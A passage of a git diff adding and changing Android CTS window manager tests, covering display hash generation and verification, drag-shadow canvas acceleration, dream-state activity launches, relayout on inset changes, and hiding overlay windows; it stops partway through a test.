+        intent.setClass(context, TestActivity.class);
+        ActivityScenario<TestActivity> scenario = ActivityScenario.launch(intent);
+
+        scenario.onActivity(activity -> {
+            mActivity = activity;
+            mMainView = new RelativeLayout(activity);
+            activity.setContentView(mMainView);
+        });
+        mInstrumentation.waitForIdleSync();
+        mDisplayHashManager = context.getSystemService(DisplayHashManager.class);
+
+        Set<String> algorithms = mDisplayHashManager.getSupportedHashAlgorithms();
+        assertNotNull(algorithms);
+        assertNotEquals(0, algorithms.size());
+        mFirstHashAlgorithm = algorithms.iterator().next();
+        mExecutor = context.getMainExecutor();
+        mSyncDisplayHashResultCallback = new SyncDisplayHashResultCallback();
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mDisplayHashManager.setDisplayHashThrottlingEnabled(false));
+    }
+
+    @After
+    public void tearDown() {
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mDisplayHashManager.setDisplayHashThrottlingEnabled(true));
+    }
+
+    @Test
+    public void testGenerateAndVerifyDisplayHash() {
+        mInstrumentation.runOnMainSync(() -> {
+            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
+                    mTestViewSize.y);
+            mTestView = new View(mActivity);
+            mTestView.setBackgroundColor(Color.BLUE);
+            mMainView.addView(mTestView, p);
+            mMainView.invalidate();
+        });
+        mInstrumentation.waitForIdleSync();
+
+        DisplayHash displayHash = generateDisplayHash(null);
+
+        VerifiedDisplayHash verifiedDisplayHash = mDisplayHashManager.verifyDisplayHash(
+                displayHash);
+        assertNotNull(verifiedDisplayHash);
+        assertEquals(mTestViewSize.x, verifiedDisplayHash.getBoundsInWindow().width());
+        assertEquals(mTestViewSize.y, verifiedDisplayHash.getBoundsInWindow().height());
+    }
+
+    @Test
+    public void testGenerateAndVerifyDisplayHash_BoundsInView() {
+        mInstrumentation.runOnMainSync(() -> {
+            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
+                    mTestViewSize.y);
+            mTestView = new View(mActivity);
+            mTestView.setBackgroundColor(Color.BLUE);
+            mMainView.addView(mTestView, p);
+            mMainView.invalidate();
+        });
+        mInstrumentation.waitForIdleSync();
+
+        Rect bounds = new Rect(10, 20, mTestViewSize.x / 2, mTestViewSize.y / 2);
+        DisplayHash displayHash = generateDisplayHash(new Rect(bounds));
+
+        VerifiedDisplayHash verifiedDisplayHash = mDisplayHashManager.verifyDisplayHash(
+                displayHash);
+        assertNotNull(verifiedDisplayHash);
+        assertEquals(bounds.width(), verifiedDisplayHash.getBoundsInWindow().width());
+        assertEquals(bounds.height(), verifiedDisplayHash.getBoundsInWindow().height());
+    }
+
+    @Test
+    public void testGenerateAndVerifyDisplayHash_EmptyBounds() {
+        mInstrumentation.runOnMainSync(() -> {
+            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
+                    mTestViewSize.y);
+            mTestView = new View(mActivity);
+            mTestView.setBackgroundColor(Color.BLUE);
+            mMainView.addView(mTestView, p);
+            mMainView.invalidate();
+        });
+        mInstrumentation.waitForIdleSync();
+        mTestView.generateDisplayHash(mFirstHashAlgorithm, new Rect(), mExecutor,
+                mSyncDisplayHashResultCallback);
+
+        int errorCode = mSyncDisplayHashResultCallback.getError();
+        assertEquals(DISPLAY_HASH_ERROR_INVALID_BOUNDS, errorCode);
+    }
+
+    @Test
+    public void testGenerateAndVerifyDisplayHash_BoundsBiggerThanView() {
+        mInstrumentation.runOnMainSync(() -> {
+            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
+                    mTestViewSize.y);
+            mTestView = new View(mActivity);
+            mTestView.setBackgroundColor(Color.BLUE);
+            mMainView.addView(mTestView, p);
+            mMainView.invalidate();
+        });
+        mInstrumentation.waitForIdleSync();
+
+        Rect bounds = new Rect(0, 0, mTestViewSize.x + 100, mTestViewSize.y + 100);
+
+        DisplayHash displayHash = generateDisplayHash(new Rect(bounds));
+
+        VerifiedDisplayHash verifiedDisplayHash = mDisplayHashManager.verifyDisplayHash(
+                displayHash);
+        assertNotNull(verifiedDisplayHash);
+        assertEquals(mTestViewSize.x, verifiedDisplayHash.getBoundsInWindow().width());
+        assertEquals(mTestViewSize.y, verifiedDisplayHash.getBoundsInWindow().height());
+    }
+
+    @Test
+    public void testGenerateDisplayHash_BoundsOutOfView() {
+        mInstrumentation.runOnMainSync(() -> {
+            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
+                    mTestViewSize.y);
+            mTestView = new View(mActivity);
+            mTestView.setBackgroundColor(Color.BLUE);
+            mMainView.addView(mTestView, p);
+            mMainView.invalidate();
+        });
+        mInstrumentation.waitForIdleSync();
+
+        Rect bounds = new Rect(mTestViewSize.x + 1, mTestViewSize.y + 1, mTestViewSize.x + 100,
+                mTestViewSize.y + 100);
+
+        mTestView.generateDisplayHash(mFirstHashAlgorithm, new Rect(bounds),
+                mExecutor, mSyncDisplayHashResultCallback);
+        int errorCode = mSyncDisplayHashResultCallback.getError();
+        assertEquals(DISPLAY_HASH_ERROR_NOT_VISIBLE_ON_SCREEN, errorCode);
+    }
+
+    @Test
+    public void testGenerateDisplayHash_ViewOffscreen() {
+        mInstrumentation.runOnMainSync(() -> {
+            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
+                    mTestViewSize.y);
+            mTestView = new View(mActivity);
+            mTestView.setBackgroundColor(Color.BLUE);
+            mTestView.setX(-mTestViewSize.x);
+            mMainView.addView(mTestView, p);
+            mMainView.invalidate();
+        });
+        mInstrumentation.waitForIdleSync();
+
+        mTestView.generateDisplayHash(mFirstHashAlgorithm, null, mExecutor,
+                mSyncDisplayHashResultCallback);
+
+        int errorCode = mSyncDisplayHashResultCallback.getError();
+        assertEquals(DISPLAY_HASH_ERROR_NOT_VISIBLE_ON_SCREEN, errorCode);
+    }
+
+    @Test
+    public void testGenerateDisplayHash_WindowOffscreen() {
+        final WindowManager wm = mActivity.getWindowManager();
+        final WindowManager.LayoutParams windowParams = new WindowManager.LayoutParams();
+
+        mInstrumentation.runOnMainSync(() -> {
+            mMainView = new RelativeLayout(mActivity);
+            windowParams.width = mTestViewSize.x;
+            windowParams.height = mTestViewSize.y;
+            windowParams.gravity = Gravity.LEFT | Gravity.TOP;
+            windowParams.flags = FLAG_LAYOUT_NO_LIMITS;
+            mActivity.addWindow(mMainView, windowParams);
+
+            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
+                    mTestViewSize.y);
+            mTestView = new View(mActivity);
+            mTestView.setBackgroundColor(Color.BLUE);
+            mMainView.addView(mTestView, p);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        generateDisplayHash(null);
+
+        mInstrumentation.runOnMainSync(() -> {
+            windowParams.x = -mTestViewSize.x;
+            wm.updateViewLayout(mMainView, windowParams);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        mSyncDisplayHashResultCallback.reset();
+        mTestView.generateDisplayHash(mFirstHashAlgorithm, null, mExecutor,
+                mSyncDisplayHashResultCallback);
+
+        int errorCode = mSyncDisplayHashResultCallback.getError();
+        assertEquals(DISPLAY_HASH_ERROR_NOT_VISIBLE_ON_SCREEN, errorCode);
+    }
+
+    @Test
+    public void testGenerateDisplayHash_InvalidHashAlgorithm() {
+        mInstrumentation.runOnMainSync(() -> {
+            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
+                    mTestViewSize.y);
+            mTestView = new View(mActivity);
+            mTestView.setBackgroundColor(Color.BLUE);
+            mMainView.addView(mTestView, p);
+            mMainView.invalidate();
+        });
+        mInstrumentation.waitForIdleSync();
+
+        mTestView.generateDisplayHash("fake hash", null, mExecutor,
+                mSyncDisplayHashResultCallback);
+        int errorCode = mSyncDisplayHashResultCallback.getError();
+        assertEquals(DISPLAY_HASH_ERROR_INVALID_HASH_ALGORITHM, errorCode);
+    }
+
+    @Test
+    public void testVerifyDisplayHash_ValidDisplayHash() {
+        mInstrumentation.runOnMainSync(() -> {
+            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
+                    mTestViewSize.y);
+            mTestView = new View(mActivity);
+            mTestView.setBackgroundColor(Color.BLUE);
+            mMainView.addView(mTestView, p);
+            mMainView.invalidate();
+        });
+        mInstrumentation.waitForIdleSync();
+
+        DisplayHash displayHash = generateDisplayHash(null);
+        VerifiedDisplayHash verifiedDisplayHash = mDisplayHashManager.verifyDisplayHash(
+                displayHash);
+
+        assertNotNull(verifiedDisplayHash);
+        assertEquals(displayHash.getTimeMillis(), verifiedDisplayHash.getTimeMillis());
+        assertEquals(displayHash.getBoundsInWindow(), verifiedDisplayHash.getBoundsInWindow());
+        assertEquals(displayHash.getHashAlgorithm(), verifiedDisplayHash.getHashAlgorithm());
+        assertArrayEquals(displayHash.getImageHash(), verifiedDisplayHash.getImageHash());
+    }
+
+    @Test
+    public void testVerifyDisplayHash_InvalidDisplayHash() {
+        mInstrumentation.runOnMainSync(() -> {
+            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
+                    mTestViewSize.y);
+            mTestView = new View(mActivity);
+            mTestView.setBackgroundColor(Color.BLUE);
+            mMainView.addView(mTestView, p);
+            mMainView.invalidate();
+        });
+        mInstrumentation.waitForIdleSync();
+
+        DisplayHash displayHash = generateDisplayHash(null);
+        DisplayHash fakeDisplayHash = new DisplayHash(
+                displayHash.getTimeMillis(), displayHash.getBoundsInWindow(),
+                displayHash.getHashAlgorithm(), new byte[32], displayHash.getHmac());
+        VerifiedDisplayHash verifiedDisplayHash = mDisplayHashManager.verifyDisplayHash(
+                fakeDisplayHash);
+
+        assertNull(verifiedDisplayHash);
+    }
+
+    @Test
+    public void testVerifiedDisplayHash() {
+        long timeMillis = 1000;
+        Rect boundsInWindow = new Rect(0, 0, 50, 100);
+        String hashAlgorithm = "hashAlgorithm";
+        byte[] imageHash = new byte[]{2, 4, 1, 5, 6, 2};
+        VerifiedDisplayHash verifiedDisplayHash = new VerifiedDisplayHash(timeMillis,
+                boundsInWindow, hashAlgorithm, imageHash);
+
+        assertEquals(timeMillis, verifiedDisplayHash.getTimeMillis());
+        assertEquals(boundsInWindow, verifiedDisplayHash.getBoundsInWindow());
+        assertEquals(hashAlgorithm, verifiedDisplayHash.getHashAlgorithm());
+        assertArrayEquals(imageHash, verifiedDisplayHash.getImageHash());
+    }
+
+    @Test
+    public void testGenerateDisplayHash_Throttle() {
+        SystemUtil.runWithShellPermissionIdentity(
+                () -> mDisplayHashManager.setDisplayHashThrottlingEnabled(true));
+
+        mInstrumentation.runOnMainSync(() -> {
+            final RelativeLayout.LayoutParams p = new RelativeLayout.LayoutParams(mTestViewSize.x,
+                    mTestViewSize.y);
+            mTestView = new View(mActivity);
+            mTestView.setBackgroundColor(Color.BLUE);
+            mMainView.addView(mTestView, p);
+            mMainView.invalidate();
+        });
+        mInstrumentation.waitForIdleSync();
+
+        mTestView.generateDisplayHash(mFirstHashAlgorithm, null, mExecutor,
+                mSyncDisplayHashResultCallback);
+        // Generate a second display hash right away.
+        mSyncDisplayHashResultCallback.reset();
+        mTestView.generateDisplayHash(mFirstHashAlgorithm, null, mExecutor,
+                mSyncDisplayHashResultCallback);
+        int errorCode = mSyncDisplayHashResultCallback.getError();
+        assertEquals(DISPLAY_HASH_ERROR_TOO_MANY_REQUESTS, errorCode);
+    }
+
+    private DisplayHash generateDisplayHash(Rect bounds) {
+        mTestView.generateDisplayHash(mFirstHashAlgorithm, bounds, mExecutor,
+                mSyncDisplayHashResultCallback);
+
+        DisplayHash displayHash = mSyncDisplayHashResultCallback.getDisplayHash();
+        assertNotNull(displayHash);
+
+        return displayHash;
+    }
+
+    public static class TestActivity extends Activity {
+        private final ArrayList<View> mViews = new ArrayList<>();
+
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+        }
+
+        void addWindow(View view, WindowManager.LayoutParams attrs) {
+            getWindowManager().addView(view, attrs);
+            mViews.add(view);
+        }
+
+        void removeAllWindows() {
+            for (View view : mViews) {
+                getWindowManager().removeViewImmediate(view);
+            }
+            mViews.clear();
+        }
+
+        @Override
+        protected void onPause() {
+            super.onPause();
+            removeAllWindows();
+        }
+    }
+
+    private static class SyncDisplayHashResultCallback implements DisplayHashResultCallback {
+        private static final int SCREENSHOT_WAIT_TIME_S = 1;
+        private DisplayHash mDisplayHash;
+        private int mError;
+        private CountDownLatch mCountDownLatch = new CountDownLatch(1);
+
+        public void reset() {
+            mCountDownLatch = new CountDownLatch(1);
+        }
+
+        public DisplayHash getDisplayHash() {
+            try {
+                mCountDownLatch.await(SCREENSHOT_WAIT_TIME_S, TimeUnit.SECONDS);
+            } catch (Exception e) {
+            }
+            return mDisplayHash;
+        }
+
+        public int getError() {
+            try {
+                mCountDownLatch.await(SCREENSHOT_WAIT_TIME_S, TimeUnit.SECONDS);
+            } catch (Exception e) {
+            }
+            return mError;
+        }
+
+        @Override
+        public void onDisplayHashResult(@NonNull DisplayHash displayHash) {
+            mDisplayHash = displayHash;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onDisplayHashError(int errorCode) {
+            mError = errorCode;
+            mCountDownLatch.countDown();
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DragDropTest.java b/tests/framework/base/windowmanager/src/android/server/wm/DragDropTest.java
index 4f6f726..4b62e95 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DragDropTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DragDropTest.java
@@ -28,12 +28,14 @@
 import android.content.ClipData;
 import android.content.ClipDescription;
 import android.content.pm.PackageManager;
+import android.graphics.Canvas;
 import android.os.Bundle;
 import android.os.Parcel;
 import android.os.Parcelable;
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.cts.R;
+import android.util.MutableBoolean;
 import android.view.DragEvent;
 import android.view.InputDevice;
 import android.view.MotionEvent;
@@ -52,6 +54,7 @@
 import java.util.Arrays;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
 import java.util.stream.IntStream;
 
 @Presubmit
@@ -695,6 +698,49 @@
         });
     }
 
+    /**
+     * Tests that the canvas is hardware accelerated when the activity is hardware accelerated.
+     */
+    @Test
+    public void testHardwareAcceleratedCanvas() throws InterruptedException {
+        assertDragCanvasHwAcceleratedState(mActivity, true);
+    }
+
+    /**
+     * Tests that the canvas is not hardware accelerated when the activity is not hardware
+     * accelerated.
+     */
+    @Test
+    public void testSoftwareCanvas() throws InterruptedException {
+        SoftwareCanvasDragDropActivity activity =
+                startActivity(SoftwareCanvasDragDropActivity.class);
+        assertDragCanvasHwAcceleratedState(activity, false);
+    }
+
+    private void assertDragCanvasHwAcceleratedState(DragDropActivity activity,
+            boolean expectedHwAccelerated) {
+        CountDownLatch latch = new CountDownLatch(1);
+        AtomicBoolean isCanvasHwAccelerated = new AtomicBoolean();
+        runOnMain(() -> {
+            View v = activity.findViewById(R.id.draggable);
+            v.startDragAndDrop(sClipData, new View.DragShadowBuilder(v) {
+                @Override
+                public void onDrawShadow(Canvas canvas) {
+                    isCanvasHwAccelerated.set(canvas.isHardwareAccelerated());
+                    latch.countDown();
+                }
+            }, null, 0);
+        });
+
+        try {
+            assertTrue("Timeout while waiting for canvas", latch.await(5, TimeUnit.SECONDS));
+            assertTrue("Expected canvas hardware acceleration to be: " + expectedHwAccelerated,
+                    expectedHwAccelerated == isCanvasHwAccelerated.get());
+        } catch (InterruptedException e) {
+            fail("Got InterruptedException while waiting for canvas");
+        }
+    }
+
     public static class DragDropActivity extends FocusableActivity {
         @Override
         protected void onCreate(Bundle savedInstanceState) {
@@ -702,4 +748,12 @@
             setContentView(R.layout.drag_drop_layout);
         }
     }
+
+    public static class SoftwareCanvasDragDropActivity extends DragDropActivity {
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            setContentView(R.layout.drag_drop_layout);
+        }
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DreamManagerServiceTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DreamManagerServiceTests.java
index 4edd318..07a0d56 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DreamManagerServiceTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DreamManagerServiceTests.java
@@ -17,6 +17,7 @@
 package android.server.wm;
 
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.server.wm.WindowManagerState.STATE_STOPPED;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
 import static android.server.wm.app.Components.TEST_DREAM_SERVICE;
 import static android.server.wm.app.Components.TEST_STUBBORN_DREAM_SERVICE;
@@ -32,6 +33,7 @@
 import android.content.ComponentName;
 import android.platform.test.annotations.Presubmit;
 import android.provider.Settings;
+import android.server.wm.app.Components;
 import android.view.Surface;
 import android.content.res.Resources;
 
@@ -209,4 +211,81 @@
         waitAndAssertTopResumedActivity(mDreamActivityName, DEFAULT_DISPLAY,
                 "Dream activity should be the top resumed activity");
     }
+
+    @Test
+    public void testStartActivityDoesNotWakeAndIsNotResumed() {
+        try (DreamingState state = new DreamingState(TEST_DREAM_SERVICE)) {
+            launchActivity(Components.TEST_ACTIVITY);
+            mWmState.waitForActivityState(Components.TEST_ACTIVITY, STATE_STOPPED);
+            assertTrue(getIsDreaming());
+        }
+    }
+
+    @Test
+    public void testStartTurnScreenOnActivityDoesWake() {
+        try (DreamingState state = new DreamingState(TEST_DREAM_SERVICE)) {
+            launchActivity(Components.TURN_SCREEN_ON_ACTIVITY);
+
+            state.waitForDreamGone();
+            waitAndAssertTopResumedActivity(Components.TURN_SCREEN_ON_ACTIVITY,
+                    DEFAULT_DISPLAY, "TurnScreenOnActivity should resume through dream");
+        }
+    }
+
+    @Test
+    public void testStartTurnScreenOnAttrActivityDoesWake() {
+        try (DreamingState state = new DreamingState(TEST_DREAM_SERVICE)) {
+            launchActivity(Components.TURN_SCREEN_ON_ATTR_ACTIVITY);
+
+            state.waitForDreamGone();
+            waitAndAssertTopResumedActivity(Components.TURN_SCREEN_ON_ATTR_ACTIVITY,
+                    DEFAULT_DISPLAY, "TurnScreenOnAttrActivity should resume through dream");
+        }
+    }
+
+    @Test
+    public void testStartActivityOnKeyguardLocked() {
+        assumeTrue(supportsLockScreen());
+
+        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+        lockScreenSession.setLockCredential();
+        try (DreamingState state = new DreamingState(TEST_DREAM_SERVICE)) {
+            launchActivityNoWait(Components.TEST_ACTIVITY);
+            waitAndAssertActivityState(Components.TEST_ACTIVITY, STATE_STOPPED,
+                "Activity must be started and stopped");
+            assertTrue(getIsDreaming());
+
+            launchActivity(Components.TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY);
+            state.waitForDreamGone();
+            waitAndAssertTopResumedActivity(Components.TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY,
+                    DEFAULT_DISPLAY, "TurnScreenOnShowOnLockActivity should resume through dream");
+            assertFalse(getIsDreaming());
+        }
+    }
+
+    private class DreamingState implements AutoCloseable {
+        public DreamingState(ComponentName dream) {
+            setActiveDream(dream);
+            startDream(dream);
+            waitAndAssertDreaming();
+        }
+
+        @Override
+        public void close() {
+            stopDream();
+        }
+
+        public void waitAndAssertDreaming() {
+            waitAndAssertTopResumedActivity(mDreamActivityName, DEFAULT_DISPLAY,
+                    "Dream activity should be the top resumed activity");
+            mWmState.waitForValidState(mWmState.getHomeActivityName());
+            mWmState.assertVisibility(mWmState.getHomeActivityName(), false);
+            assertTrue(getIsDreaming());
+        }
+
+        public void waitForDreamGone() {
+            mWmState.waitForDreamGone();
+            assertFalse(getIsDreaming());
+        }
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTest.java b/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTest.java
index b352df2..8166ab9 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTest.java
@@ -16,6 +16,10 @@
 
 package android.server.wm;
 
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_ADJUST_NOTHING;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_ADJUST_PAN;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_ADJUST_RESIZE;
+
 import android.platform.test.annotations.Presubmit;
 
 import org.junit.Test;
@@ -24,7 +28,20 @@
 public class ForceRelayoutTest extends ForceRelayoutTestBase {
 
     @Test
-    public void testNoRelayoutWhenInsetsChange() throws Throwable {
-        testRelayoutWhenInsetsChange(false /* testRelayoutWhenInsetsChange */);
+    public void testNoRelayoutWhenInsetsChange_adjustPan() throws Throwable {
+        testRelayoutWhenInsetsChange(
+                false /* expectRelayoutWhenInsetsChange */, SOFT_INPUT_ADJUST_PAN);
+    }
+
+    @Test
+    public void testNoRelayoutWhenInsetsChange_adjustNothing() throws Throwable {
+        testRelayoutWhenInsetsChange(
+                false /* expectRelayoutWhenInsetsChange */, SOFT_INPUT_ADJUST_NOTHING);
+    }
+
+    @Test
+    public void testNoRelayoutWhenInsetsChange_adjustResize() throws Throwable {
+        testRelayoutWhenInsetsChange(
+                false /* expectRelayoutWhenInsetsChange */, SOFT_INPUT_ADJUST_RESIZE);
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTestBase.java
index 9ffe529..ac06678 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTestBase.java
@@ -20,6 +20,7 @@
 import static android.view.WindowInsets.Type.statusBars;
 import static android.view.WindowInsets.Type.systemBars;
 import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_ADJUST_RESIZE;
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
@@ -48,7 +49,7 @@
     public ActivityTestRule<TestActivity> mDecorActivity = new ActivityTestRule<>(
             TestActivity.class);
 
-    void testRelayoutWhenInsetsChange(boolean expectRelayoutWhenInsetsChange)
+    void testRelayoutWhenInsetsChange(boolean expectRelayoutWhenInsetsChange, int softInputMode)
             throws Throwable {
         TestActivity activity = mDecorActivity.getActivity();
         assertNotNull("test setup failed", activity.mLastContentInsets);
@@ -58,6 +59,7 @@
         InstrumentationRegistry.getInstrumentation().runOnMainSync(() -> {
             activity.mLayoutHappened = false;
             activity.mMeasureHappened = false;
+            activity.getWindow().setSoftInputMode(softInputMode);
             activity.getWindow().getInsetsController().hide(systemBars());
         });
         activity.mZeroInsets.await(180, TimeUnit.SECONDS);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java
index 1567288..1456486 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java
@@ -83,6 +83,7 @@
 
     @Test
     public void testNonResizeableActivityHasFullDisplayBounds() throws Exception {
+        createManagedSupportsNonResizableMultiWindowSession().set(0);
         launchActivity(TEST_ACTIVITY);
 
         mWmState.computeState(TEST_ACTIVITY);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/HideOverlayWindowsTest.java b/tests/framework/base/windowmanager/src/android/server/wm/HideOverlayWindowsTest.java
new file mode 100644
index 0000000..4a49d9a
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/HideOverlayWindowsTest.java
@@ -0,0 +1,236 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm;
+
+import static android.server.wm.app.Components.HIDE_OVERLAY_WINDOWS_ACTIVITY;
+import static android.server.wm.app.Components.HideOverlayWindowsActivity.ACTION;
+import static android.server.wm.app.Components.HideOverlayWindowsActivity.PONG;
+import static android.view.Gravity.LEFT;
+import static android.view.Gravity.TOP;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.Manifest;
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.graphics.Color;
+import android.graphics.Point;
+import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.app.Components;
+import android.view.WindowManager;
+import android.widget.TextView;
+
+import androidx.annotation.Nullable;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Build/Install/Run:
+ * atest CtsWindowManagerDeviceTestCases:HideOverlayWindowsTest
+ */
+@Presubmit
+public class HideOverlayWindowsTest extends ActivityManagerTestBase {
+
+    private final static String WINDOW_NAME_EXTRA = "window_name";
+    private final static String SYSTEM_APPLICATION_OVERLAY_EXTRA = "system_application_overlay";
+    private PongReceiver mPongReceiver;
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mPongReceiver = new PongReceiver();
+        mContext.registerReceiver(mPongReceiver, new IntentFilter(PONG));
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        mContext.unregisterReceiver(mPongReceiver);
+    }
+
+    @Test
+    public void testApplicationOverlayHiddenWhenRequested() {
+        String windowName = "SYSTEM_ALERT_WINDOW";
+        ComponentName componentName = new ComponentName(
+                mContext, SystemWindowActivity.class);
+
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            launchActivity(componentName,
+                    CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName));
+            mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+        }, Manifest.permission.SYSTEM_ALERT_WINDOW);
+
+        launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+
+        setHideOverlayWindowsAndWaitForPong(true);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, false);
+
+        setHideOverlayWindowsAndWaitForPong(false);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+    }
+
+    @Test
+    public void testSystemApplicationOverlayFlagNoEffectWithoutPermission() {
+        String windowName = "SYSTEM_ALERT_WINDOW";
+        ComponentName componentName = new ComponentName(
+                mContext, SystemWindowActivity.class);
+
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            launchActivity(componentName,
+                    CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName),
+                    CliIntentExtra.extraBool(SYSTEM_APPLICATION_OVERLAY_EXTRA, true));
+            mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+        }, Manifest.permission.SYSTEM_ALERT_WINDOW);
+
+        launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+
+        setHideOverlayWindowsAndWaitForPong(true);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, false);
+
+        setHideOverlayWindowsAndWaitForPong(false);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+    }
+
+    @Test
+    public void testInternalSystemApplicationOverlaysNotHidden() {
+        String windowName = "INTERNAL_SYSTEM_WINDOW";
+        ComponentName componentName = new ComponentName(
+                mContext, InternalSystemWindowActivity.class);
+
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            launchActivity(componentName,
+                    CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName));
+            mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+        }, Manifest.permission.INTERNAL_SYSTEM_WINDOW);
+
+        launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+        setHideOverlayWindowsAndWaitForPong(true);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+    }
+
+    @Test
+    public void testSystemApplicationOverlaysNotHidden() {
+        String windowName = "SYSTEM_APPLICATION_OVERLAY";
+        ComponentName componentName = new ComponentName(
+                mContext, SystemApplicationOverlayActivity.class);
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            launchActivity(componentName,
+                    CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName),
+                    CliIntentExtra.extraBool(SYSTEM_APPLICATION_OVERLAY_EXTRA, true));
+            mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+        }, Manifest.permission.SYSTEM_APPLICATION_OVERLAY);
+
+        launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+        setHideOverlayWindowsAndWaitForPong(true);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+    }
+
+    @Test
+    public void testSystemApplicationOverlayHiddenWithoutFlag() {
+        String windowName = "SYSTEM_APPLICATION_OVERLAY";
+        ComponentName componentName = new ComponentName(
+                mContext, SystemApplicationOverlayActivity.class);
